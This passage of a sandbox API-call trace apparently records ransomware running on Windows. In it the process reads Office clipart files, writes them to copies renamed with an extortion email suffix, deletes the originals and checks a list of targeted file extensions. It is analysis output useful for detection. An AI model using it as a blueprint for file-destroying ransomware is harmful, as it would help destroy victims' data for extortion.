nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0091.240] SetEndOfFile (hFile=0x384) returned 1 [0091.240] CloseHandle (hObject=0x384) returned 1 [0091.240] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.240] SetEndOfFile (hFile=0x338) returned 1 [0091.241] CloseHandle (hObject=0x338) returned 1 [0091.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0091.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0091.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0091.241] lstrlenW (lpString=".doc") returned 4 [0091.241] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.242] lstrlenW (lpString=".docx") returned 5 [0091.242] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0091.242] lstrlenW (lpString=".pdf") returned 4 [0091.242] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.242] lstrlenW (lpString=".xls") returned 4 [0091.242] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.242] lstrlenW (lpString=".xlsx") returned 5 [0091.242] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0091.242] lstrlenW (lpString=".ppt") returned 4 [0091.242] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0091.242] lstrlenW (lpString=".zip") returned 4 [0091.242] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.242] lstrlenW (lpString=".rar") returned 4 [0091.242] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.242] lstrlenW (lpString=".bz2") returned 4 [0091.242] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.242] lstrlenW (lpString=".7z") returned 3 [0091.242] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0091.242] lstrlenW (lpString=".dbf") returned 4 [0091.242] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0091.242] lstrlenW (lpString=".1cd") returned 4 [0091.242] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0091.242] lstrlenW (lpString=".jpg") returned 4 [0091.242] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0091.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0091.242] lstrlenW (lpString=".doc") returned 4 [0091.242] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.242] lstrlenW (lpString=".docx") returned 5 [0091.242] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0091.242] lstrlenW (lpString=".pdf") returned 4 [0091.242] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.243] lstrlenW (lpString=".xls") returned 4 [0091.243] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.243] lstrlenW (lpString=".xlsx") returned 5 [0091.243] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0091.243] lstrlenW (lpString=".ppt") returned 4 [0091.243] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0091.243] lstrlenW (lpString=".zip") returned 4 [0091.243] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.243] lstrlenW (lpString=".rar") returned 4 [0091.243] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.243] lstrlenW (lpString=".bz2") returned 4 [0091.243] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.243] lstrlenW (lpString=".7z") returned 3 [0091.243] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0091.243] lstrlenW (lpString=".dbf") returned 4 [0091.243] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0091.243] lstrlenW (lpString=".1cd") returned 4 [0091.243] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0091.243] lstrlenW (lpString=".jpg") returned 4 [0091.243] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.243] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0091.243] lstrlenW (lpString="J0099162.JPG") returned 12 [0091.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.244] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=19656) returned 1 [0091.244] CloseHandle (hObject=0x338) returned 1 [0091.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220 [0091.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.244] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.244] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0091.245] GetLastError () returned 0x0 [0091.245] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x4cc8, lpOverlapped=0x0) returned 1 [0091.246] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0091.247] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.247] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0091.247] SetEndOfFile (hFile=0x384) returned 1 [0091.248] CloseHandle (hObject=0x384) returned 1 [0091.248] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.248] SetEndOfFile (hFile=0x338) returned 1 [0091.249] CloseHandle (hObject=0x338) returned 1 [0091.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0091.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0091.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0091.249] lstrlenW (lpString=".doc") returned 4 [0091.249] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.249] lstrlenW (lpString=".docx") returned 5 [0091.249] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0091.249] lstrlenW (lpString=".pdf") returned 4 [0091.249] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.249] lstrlenW (lpString=".xls") returned 4 [0091.249] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.249] lstrlenW (lpString=".xlsx") returned 5 [0091.249] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0091.249] lstrlenW (lpString=".ppt") returned 4 [0091.249] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0091.249] lstrlenW (lpString=".zip") returned 4 [0091.249] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.249] lstrlenW (lpString=".rar") returned 4 [0091.250] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.250] lstrlenW (lpString=".bz2") returned 4 [0091.250] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.250] lstrlenW (lpString=".7z") returned 3 [0091.250] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0091.250] lstrlenW (lpString=".dbf") returned 4 [0091.250] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0091.250] lstrlenW (lpString=".1cd") returned 4 [0091.250] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0091.250] lstrlenW (lpString=".jpg") returned 4 [0091.250] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0091.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0091.250] lstrlenW (lpString=".doc") returned 4 [0091.250] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.250] lstrlenW (lpString=".docx") returned 5 [0091.250] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0091.250] lstrlenW (lpString=".pdf") returned 4 [0091.250] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.250] lstrlenW (lpString=".xls") returned 4 [0091.250] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.250] lstrlenW (lpString=".xlsx") returned 5 [0091.250] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0091.250] lstrlenW (lpString=".ppt") returned 4 [0091.250] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0091.250] lstrlenW (lpString=".zip") returned 4 [0091.250] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.250] lstrlenW (lpString=".rar") returned 4 [0091.250] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.250] lstrlenW (lpString=".bz2") returned 4 [0091.250] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.250] lstrlenW (lpString=".7z") returned 3 [0091.251] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0091.251] lstrlenW (lpString=".dbf") returned 4 [0091.251] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0091.251] lstrlenW (lpString=".1cd") returned 4 [0091.251] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0091.251] lstrlenW (lpString=".jpg") returned 4 [0091.251] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.251] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.251] lstrlenW (lpString="J0099163.WMF") returned 12 [0091.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.251] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=22356) returned 1 [0091.251] CloseHandle (hObject=0x338) returned 1 [0091.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220 [0091.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.252] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.252] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0091.253] GetLastError () returned 0x0 [0091.253] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x5754, lpOverlapped=0x0) returned 1 [0091.254] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x5760, lpOverlapped=0x0) returned 1 [0091.255] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.255] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0091.256] SetEndOfFile (hFile=0x384) returned 1 [0091.256] CloseHandle (hObject=0x384) returned 1 [0091.256] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.256] SetEndOfFile (hFile=0x338) returned 1 [0091.257] CloseHandle (hObject=0x338) returned 1 [0091.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0091.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0091.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0091.257] lstrlenW (lpString=".doc") returned 4 [0091.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.257] lstrlenW (lpString=".docx") returned 5 [0091.257] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0091.257] lstrlenW (lpString=".pdf") returned 4 [0091.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.257] lstrlenW (lpString=".xls") returned 4 [0091.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.258] lstrlenW (lpString=".xlsx") returned 5 [0091.258] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0091.258] lstrlenW (lpString=".ppt") returned 4 [0091.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0091.258] lstrlenW (lpString=".zip") returned 4 [0091.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.258] lstrlenW (lpString=".rar") returned 4 [0091.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.258] lstrlenW (lpString=".bz2") returned 4 [0091.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.258] lstrlenW (lpString=".7z") returned 3 [0091.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0091.258] lstrlenW (lpString=".dbf") returned 4 [0091.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0091.258] lstrlenW (lpString=".1cd") returned 4 [0091.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0091.258] lstrlenW (lpString=".jpg") returned 4 [0091.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0091.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0091.258] lstrlenW (lpString=".doc") returned 4 [0091.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.258] lstrlenW (lpString=".docx") returned 5 [0091.258] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0091.258] lstrlenW (lpString=".pdf") returned 4 [0091.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.258] lstrlenW (lpString=".xls") returned 4 [0091.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.258] lstrlenW (lpString=".xlsx") returned 5 [0091.258] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0091.258] lstrlenW (lpString=".ppt") returned 4 [0091.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0091.259] lstrlenW (lpString=".zip") returned 4 [0091.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.259] lstrlenW (lpString=".rar") returned 4 [0091.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.259] lstrlenW (lpString=".bz2") returned 4 [0091.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.259] lstrlenW (lpString=".7z") returned 3 [0091.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0091.259] lstrlenW (lpString=".dbf") returned 4 [0091.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0091.259] lstrlenW (lpString=".1cd") returned 4 [0091.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0091.259] lstrlenW (lpString=".jpg") returned 4 [0091.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.259] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.259] lstrlenW (lpString="J0099164.WMF") returned 12 [0091.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.259] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=21946) returned 1 [0091.259] CloseHandle (hObject=0x338) returned 1 [0091.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220 [0091.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.260] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.261] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0091.261] GetLastError () returned 0x0 [0091.261] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x55ba, lpOverlapped=0x0) returned 1 [0091.557] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x55c0, lpOverlapped=0x0) returned 1 [0091.559] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.559] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0091.559] SetEndOfFile (hFile=0x384) returned 1 [0091.559] CloseHandle (hObject=0x384) returned 1 [0091.559] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 